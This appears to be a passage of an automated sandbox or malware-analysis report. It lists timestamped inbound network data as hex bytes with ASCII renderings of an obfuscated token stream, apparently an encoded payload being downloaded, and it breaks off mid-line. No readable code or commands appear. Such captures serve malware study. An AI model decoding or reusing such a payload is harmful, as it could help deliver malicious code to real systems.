2021-10-29 18:29:21 UTC	2339	IN	Data Raw: 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 78 20 52 Data Ascii: tx x tO x OOO x RY x kY x tt x QQ x tO x Kk x tt x OOo x RY x RY x tQ x OxR x kt x OxY x RY x RY x RY x OxE x YR x kO x tt x OxY x YR x Qk x Rk x kY x tR x OxQ x tt x YR x Oxt x RY x RY x Oox x OOQ x Rk x kO x OoO x Oxt x RY x RY x YK x tk x tt x OOk x R
2021-10-29 18:29:21 UTC	2355	IN	Data Raw: 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 Data Ascii: Q x kO x RY x RY x Rk x Kt x Oxx x kO x OxR x Kt x tx x Qx x OxR x RR x kO x RY x Rk x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x tY x tE x tk x Oxk x Yo x RY x Rt x tx x OOQ x tE x Oxk x tk x Yx x tE x OOR x tk x Rk x tE x Oxk x tk x YE x tE x OOR x
2021-10-29 18:29:21 UTC	2371	IN	Data Raw: 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4b 20 78 20 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 74 78 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4b 51 20 78 20 Data Ascii: x Kk x Kt x Oxo x Kt x Kt x YK x tK x kR x Yx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x YK x tx x tE x kx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x Qt x RY x Rk x tt x kO x RY x Rt x tk x OxK x Oxo x kK x KQ x
2021-10-29 18:29:21 UTC	2387	IN	Data Raw: 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 6b 6b 20 78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OxR x OOO x kE x Oxk x OOO x RY x RY x tE x kx x RQ x Rk x kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x OxQ x OxE x YK x kk x Oxt x Yt x Kt x Kt
2021-10-29 18:29:21 UTC	2403	IN	Data Raw: 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 59 52 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 74 45 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 6b 20 78 Data Ascii: x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ x tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OxR x Rt x kO x RY x Rt x tR x kx x kY x Ooo x RY x kO x RY x Rt x tR x Yx x tO x OOO x tE x kY x Kt x Kt x kk x Qt x OxE x OOo x kK x OxY x Kt x Rk x
2021-10-29 18:29:21 UTC	2419	IN	Data Raw: 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 51 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 52 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 52 20 78 20 Data Ascii: Oxk x Oxx x Kk x tQ x OxR x Rt x Kt x Oxo x Kt x Kt x OxY x YO x kY x tt x Qx x OxR x Oxt x OxO x Rk x Yo x kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OOO x OxY x Kk x kk x OOO x Rk x YY x QQ x RY x Qx x OxR x Kk x OxE x RY x to x kR x tx x tQ x kR x
2021-10-29 18:29:21 UTC	2435	IN	Data Raw: 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f Data Ascii: x Kt x Oxx x kO x Ooo x Kt x Oxx x kO x OxK x kt x Kt x Oox x kY x Kk x OOQ x kY x RY x RY x kk x KQ x YY x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x kO x tO x Qt x Rk x Qx x QQ x RY x RY x Qt x OxR x YK x tk x ko x QQ x tK x OOE x RY x tx x Rk x OOO
2021-10-29 18:29:21 UTC	2451	IN	Data Raw: 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 74 78 20 78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 59 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f 4f 20 78 Data Ascii: RY x tt x YR x Oxk x OOE x tx x tx x OOE x tR x Oox x OOk x Oxo x OxY x Rk x YE x Rk x RR x Yt x Yt x Oxt x tR x OoO x tx x to x OOO x to x kY x Oxt x RY x RY x tx x OxQ x YY x Rt x kx x RR x RY x RY x tx x OxQ x tK x ko x Kk x Rt x tK x kk x Oxo x OoO x
2021-10-29 18:29:21 UTC	2467	IN	Data Raw: 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 74 59 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 Data Ascii: x tR x Oox x OOt x OxK x QQ x Yx x kx x Kt x Kt x Qt x Oxk x OoO x tR x Oox x OOt x OxK x kK x Yx x kx x Kt x Kt x Qt x OxY x KE x tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OxY x OxY x tR x Oox x OOt x OxK x RR x Yx x kx x Kt x Kt x Qt x OxY x
2021-10-29 18:29:21 UTC	2483	IN	Data Raw: 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 74 52 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b Data Ascii: kY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OOO x OxY x Rk x kQ x RY x RY x tx x Qt x tk x OxK x kO x tR x YK x Kt x Kt x Yt x kk x kY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OOO x QQ x Ooo x kQ x RY x RY x tx x Qt x tk x OxK x k
2021-10-29 18:29:21 UTC	2499	IN	Data Raw: 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 20 74 51 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 4f 78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 6f 20 78 Data Ascii: x Ooo x Ooo x OOk x ko x Oxx x kE x tQ x tx x Oox x YO x kY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk x YR x OxY x OOQ x Qt x tR x Ooo x OOk x Yt x kO x Qt x tO x OOO x RY x OxY x Yt x OxR x OOO x OxK x tQ x to x Kt x Kt x KQ x Rt x tR x ko x Oxo x Ooo x
2021-10-29 18:29:21 UTC	2515	IN	Data Raw: 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b Data Ascii: RR x OxO x OOQ x Yx x OOo x kO x Kt x Ooo x Qx x OOO x OoO x kx x kR x RY x RY x tQ x OxK x YE x tK x RY x RY x RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx x OxE x ko x OOO x KE x kx x tK x RY x RY x tQ x OxK x OOx x tK x RY x RY x RY x OxE x YR x k
2021-10-29 18:29:21 UTC	2531	IN	Data Raw: 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 78 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 74 78 20 Data Ascii: Yx x kY x RY x RY x kY x tt x QQ x tx x Yo x tt x OxK x RR x RY x RY x RQ x RY x RY x RY x Rk x Kt x tx x Oxx x kK x RY x kO x RY x Rt x OxR x YE x tt x OxK x RR x RY x tY x to x Oxt x OoO x RQ x RQ x RY x tQ x YR x tk x Kk x RQ x kQ x KQ x tk x Yt x tx
2021-10-29 18:29:21 UTC	2547	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 Data Ascii: x RY x RY x tE x Yx x tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk x Kt x Kt x YK x tt x RQ x ko x RY x RY x RR x kt x OxR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY x Qk x Kk x RY x Kt x kx x Kt x Kt x
2021-10-29 18:29:21 UTC	2563	IN	Data Raw: 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 6f 78 20 78 20 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x kk x tx x Oxo x OOO x OxQ x RY x OxE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to x Yo x OOk x to x YK x Oox x Yx x Rk x OOQ x ko x Rk x OOO x OOQ x tY x to x Kt x Kt x KE x OOY x kK x Qt x OxE x OOo x kt x Kt x YY x RQ x QQ x RR x RY x RY x RY x
2021-10-29 18:29:21 UTC	2579	IN	Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f Data Ascii: x Oxk x OOx x tt x tK x RY x RY x kx x YR x Oxk x OxQ x tt x tK x RY x RY x kx x YR x Oxk x Oxk x tt x tK x RY x RY x kx x YR x Oxk x Oxt x tt x tK x RY x RY x kx x YR x Oxk x OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x tt x tK x RY x RY x kx x YR x O
2021-10-29 18:29:21 UTC	2595	IN	Data Raw: 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f Data Ascii: x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x kk x RY x RQ x Oxt x RY x kK x OxE x RY x Yo x RY x tx x tE x RY x kR x RY x RR x tk x RY x RY x RY x RY x kR x OOQ x RR x tK x RY x RQ x Yo x RY x tk x OOQ x RR x kE x RY x tx x kO
2021-10-29 18:29:21 UTC	2611	IN	Data Raw: 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x OOY x RY x tO x OOQ x RY x RY x RY x RY x RY x RY x tx x OOQ x RY x RY x RY x RR x tx x RY x to x tE x RY x QQ x OxE x RR x OOk x RY x to x tE x RY x tE x RY x RY x Oxk x RY x tO x kO x RY x tQ x OxE x RY x OxE x RY x Rt x kY x RY x QQ x OOQ x RY x RY
2021-10-29 18:29:21 UTC	2627	IN	Data Raw: 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59 Data Ascii: x OOx x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x Ooo x RY x Rk x OOO x RY x tE x RY x RY x tk x RY x RY x OOO x RY x ko x kO x RR x RR x RY x tx x OxE x RY x kx x kO x RY x Oxk x RY x Rk x OxE x RY x tR x OxE x RY x Y
2021-10-29 18:29:21 UTC	2643	IN	Data Raw: 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 